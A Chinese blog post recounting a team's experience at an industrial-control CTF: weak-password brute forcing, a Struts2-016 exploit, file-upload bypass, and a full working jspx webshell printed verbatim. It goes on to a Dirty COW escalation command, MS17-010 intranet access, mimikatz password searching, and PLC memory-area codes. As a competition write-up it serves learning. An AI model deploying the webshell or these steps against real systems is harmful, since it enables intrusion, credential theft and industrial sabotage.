“中能融合杯”线下赛感悟
前言:
感谢老师的辛苦付出,才有了出去打比赛的机会,感谢学长的盛情款待。本人混子,全靠队伍中的三位大佬带飞。虽然比赛中间服务器有点问题,但主办方是真的好,吃的喝的全有。
刚打完觉得印象挺深刻的,先记录下来自己当时的思路已经在哪里被卡住了,提醒自己下次有的错误不要再犯,吃一堑长一智。
0x01:准备阶段
第一件事就是要先配置IP,如果配置好却访问不到,不要浪费时间直接举手问裁判,会有人帮忙解决,所以这个不是什么大问题。
0x02:比赛开始
待到9点正式开始,主办方公布了Web目录
10.20.170.10:8080/elec/一开始学长让直接御剑扫描,看能否出来常见的目录,如果出来了,确实可以提前点去做题,可以作为一种方法吧,不过这个目录恐怕爆破不出来,因为不是常见的。
拿到目录后看到页面,我第一感觉是弱口令,但发现有验证码,这点之前接触的不是很深,所以自己手动试了一下发现没有成功就直接转头去用漏洞工具扫描了,看看是否存在CVE漏洞。
然后就发现特别恶心的事情,我发现我的漏洞扫描工具AWVS打不开,一开始以为是phpstudy有问题
结果是服务自己没启动起来,修复一下
手动启动一下就行了
按照描述去进行测试却发现不行,当时直接用的K8工具,但是但是没设置COOKIE!!!,这点是真xx,所以当时一直卡到这里,觉得只有这个漏洞了,但又利用不了。
看看榜单,再看看我们,心态炸裂,不过还好qwzf通过爆破得到了密码,确实是弱口令
#弱口令账号一般都是admin username = admin password = 123qwe- 所以比赛后需要去学习下带验证码的爆破,这点之前确实自己没在意
登陆后台之后发现一个100分的flag(但经过后来测试发现是可以访问其他队伍的这个后台页面的,并没有隔离开,如果有人搅屎把flag改了就gg了,还好没人改我们的),提交了之后就开始找有文件上传的页面
http://10.20.170.10:8080/elec/system/elecMenuAction_menuHome.do在这个页面中能够去上传doc文件,观察url后是用jsp写的网站,所以当时认为上传jsp木马就可以,绕过其实比较好绕过,就是最简单的文件上传,抓包拦截更换后缀名即可。比赛后和chumen77讨论了发现还有其他页面可以直接上传文件,可惜当时没时间了就没太在意。
但传上去后发现jsp马却连接不上去,冰蝎的提示都是页面存在,但是无法获取密钥。
思维就又停在这里了,但这时学长说利用工具查询到有struct2-016漏洞,再利用工具时注意到了Cookie这个参数,就直接抓包将参数也传上去,测试几个后,qwzf大佬发现在这个url下存在s-016漏洞。(PS:structs2-016漏洞可以获取到shell,但目标地址需为.do文件,一开始我们也是直接扫html页面,太傻了。)
http://10.20.170.10:8080/elec/system/elecMenuAction_main.do JSESSIONID=81766790EC951D2507C427CC90CA27EB;logonPwd=46F94C8DE14FB36680850768FF1B7F2A;logonName=admin;
然后在一个目录下找到了一个100分的flag,但web题一共有500分,所以还有三道没拿到,需要上马去连接,但大家都被困在这个页面存在,无法获取密钥,然后就比赛中途暂停了
0x03:中途暂停
具体原因不明白,比赛暂停,不过问题不大,恰好累了睡了会觉,醒来还没好,就开始整整一些工具顺便利用这个时间美化一下我的桌面
改成透明的。
之后,香蕉、咖啡、橘子、水等不停的送,第一次参加国赛,觉得是真的好,虽然暂停时间确实长,不过老师和主办方的态度是真的好,用chumen77大佬的话来说就是真不错。
0x04:比赛恢复
暂停了将近5个小时,比赛结束时间只延迟了半个小时,所以说有点紧张,主办方应该也是考虑到时间问题,直接将内网IP给了出来,直接打内网也行,web题的话现在只拿了200分,按照参赛书上是还有300分,所以就兵分两路,学长、qwzf去搞内网,我和chumen77搞web.
转换思路,jsp文件虽然上传成功,但总连接不上去,所以我就想去尝试一下jspx木马
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"><jsp:directive.page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"/><jsp:declaration> class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}</jsp:declaration><jsp:scriptlet>if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);</jsp:scriptlet></jsp:root>用冰蝎自带的马去连接,密码为pass,结果还真的连接上去了
whoami查询一下,发现不是root权限,估计之后可能需要进行提权操作,就先去找一下flag,结果找到了两个flag,一个直接提交获得了300分,另一个只有root权限才能查看,所以需要提权。(赛后看大佬们的方法,可以直接查看历史记录:cat .bash_history,直接看历史命令获取到flag,而我们则是找的,太慢了,学到了)
恰好我之前刚弄完提权,其中脏牛提权比较常见,因此试一下脏牛提权
gcc -pthread dirty.c -o dirty -lcrypt ./dirty提权成功,但发现过几秒就崩溃了,整个网站都访问不了,最后来来回回重启四遍服务器,结束后看大佬们的交流这个提权确实会导致服务器崩溃,但chumen77大佬直接抢在这几秒前把命令给敲出来了,简单分析一下即可得到flag.
qwzf大佬直接对内网主机10.20.110.200进行端口扫描,发现开放了445端口,ms17-010搞到了内网权限,结果四个人傻眼了,Windows服务器,结果不知道该咋查到flag了,时间也紧张,就剩10分钟,所以就很可惜,还是对windows服务器的一些命令不熟悉导致的,比赛结束后还是要去学习。
(注意kail要桥接模式,还要自己设置对应的IP地址才能打通)
赛后看师傅们的WP:
在msf-windows下,一些常用命令:
文件查找命令
for /r 目录名 %变量名 in (匹配模式1,匹配模式2) do 命令 for /r %i in (.txt) do @echo %i#在当前目录下查找后缀为txt的文件 for /r %i in (test) do @echo %i#在当前目录下查找名字中包含test的文件文件查看命令
type flag.txt密码查找命令
load mimikatz mimikatz_command -f seaurlsa::searchPasswords查看自启动程序及其路径
wmic startup list full0x06:赛后总结
一:由于时间紧张,所以主办方直接说出了内网地址,没有再给有蜜罐服务器的地址,所以我们一开始就直接从正确的入手了,但依旧是不知道如何去辨别蜜罐,所以蜜罐需要学习一下。
二:内网打通后,便开始控制plc,需要针对PLC q区进行输出控制,但是没有做到这一步,收集点脚本以备后用
各分区对应编号
'PE': 0x81, #input 输入区,即I区 'PA': 0x82, #output 输出区,即Q区 'MK': 0x83, #bit memory 中间存储区(M区) 'DB': 0x84, #DB区 'CT': 0x1C, #counters 'TM': 0x1D, #Timers安装可以github上的方法去做。
总之这次比赛那也学到很多东西,也认识到了自己还有很多东西没有学,继续加油,冲冲冲!
参考博客
工控杯WP
总结
以上是生活随笔为你收集整理的“中能融合杯”线下赛感悟的全部内容,希望文章能够帮你解决所遇到的问题。